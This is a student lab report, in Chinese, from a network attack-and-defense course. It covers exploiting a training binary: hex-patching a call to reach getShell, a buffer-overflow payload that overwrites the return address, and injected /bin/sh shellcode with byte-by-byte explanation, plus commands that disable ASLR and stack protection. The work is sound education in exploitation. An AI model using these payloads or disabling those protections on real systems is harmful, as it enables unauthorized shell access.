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# 20232421 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news 2025/10/13 23:00:27

20232421 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

3.实验过程

3.1 实验前置知识

Linux基础知识
- shell命令：ls、cd、cp、touch、cat等
- gcc编译指令、gdb调试指令：
  - 设置断点：break/clear
  - 启用/禁用断点：enable/disable
  - 运行程序：run
  - 继续运行：continue
  - 单步代码跟入函数：step
  - 查看各类信息：info
  - 显示调用栈：backtrack
汇编语言基础知识：汇编指令
- NOP：空指令。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
- JNE：条件转移指令，如果不相等则跳转。（机器码：75）
- JE：条件转移指令，如果相等则跳转。（机器码：74）
- JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
- CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
十六进制编辑器使用方法
- %!xxd：进入十六进制编辑模式
- %!xxd -r：切换回原模式

3.2 修改程序机器指令

3.2.1 查看文件反汇编信息

输入指令objdump -d pwn20232421dk | more对pwd进行反汇编，查看getshell函数、foo函数、main函数机器码。指令详解如下：

objdump -d pwn20232421dk | more
# 该命令的目的是查看pwn20232421dk二进制文件的反汇编输出
# objdump：显示二进制文件信息，包含反汇编、符号表、重定位等
# objdump -d：显示反汇编信息
# |：管道符号，将前一个命令的输出作为后一个命令的输入
# more：用于分页查看文本文件内容的程序，而不是一次性显示所有内容（按Enter健查看下一行，按空格键查看下一页，按q键退出）

getshell
foo
main

3.2.2 修改可执行文件

观察反汇编内容，getShell函数的地址是0804847d，如果想要main函数调用getShell函数替代调用foo函数，则可以修改可执行文件中的机器指令：将其中的call指令的目标地址由e8d7ffffff变为e8c3ffffff

3.2.3 查看并运行修改后的可执行文件

反汇编查看修改后的pwn20232421dk

objdump -d pwn20232421dk | more

运行pwn20232421dk，查看运行效果

./pwn20232421dk

3.3 BOF攻击实践

通过构造输入参数，造成BOF攻击，改变程序执行流。

3.3.1 安装gdb

sudo apt update
sudo apt install gdb

3.3.2 分析选用字符串

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
# Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

3.4 注入Shellcode并执行

shellcode就是一段机器指令（code）。通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
以下是本次实践准备的Shellcode，其目的是执行/bin/sh（即启动一个新的shell），解释源自参考博客：

\x31\xc0
- xorl %eax,%eax：将寄存器eax的值设置为0。
\x50
- pushl %eax：将eax的值（现在是0）推送到栈上。
\x68\x2f\x2f\x73\x68
- pushl $0x68732f2f：将0x68732f2f（即//sh的ASCII码的小端序表示）推送到栈上。
\x68\x2f\x62\x69\x6e
- pushl $0x6e69622f：将0x6e69622f（即/bin的ASCII码的小端序表示）推送到栈上。
\x89\xe3
- movl %esp,%ebx：将栈指针（esp）的值复制到ebx寄存器。
\x50
- pushl %eax：再次将eax的值（0）推送到栈上。
\x53
- pushl %ebx：将ebx的值（现在指向/bin//sh的字符串）推送到栈上。
\x89\xe1
- movl %esp,%ecx：将栈指针（esp）的值复制到ecx寄存器。
\x31\xd2
- xorl %edx,%edx：将寄存器edx的值设置为0。
\xb0\x0b
- byte $0xb：将0xb（即11的十进制表示）加载到al（eax的低8位）。这是Linux系统调用号，代表execve。
\xcd\x80
- int $0x80：触发软中断，执行系统调用。

3.4.1 构造payload

Perl -e 'print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

3.4.2 设置堆栈可执行并查询是否可执行、关闭地址随机化

由于execstack下载不了，此处使用patchelf。

patchelf --set-execstack pwn20232416-0
readelf -l pwn20232416-0 | grep GNU_STACK
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

3.4.3 分别使用两个终端进行攻击与断点设置

终端一中运行程序
终端二中调试进程
观察分析地址后注入攻击

4.问题及解决方案

4.1 问题描述

执行命令后，终端输出：/bin/sh: 1: 11111111222222223333333344444444}: not found这说明/bin/sh已经启动（否则不会有/bin/sh的报错），但input文件中的无效字符串（1111...4444}）被/bin/sh当作命令执行，导致“命令不存在”的错误。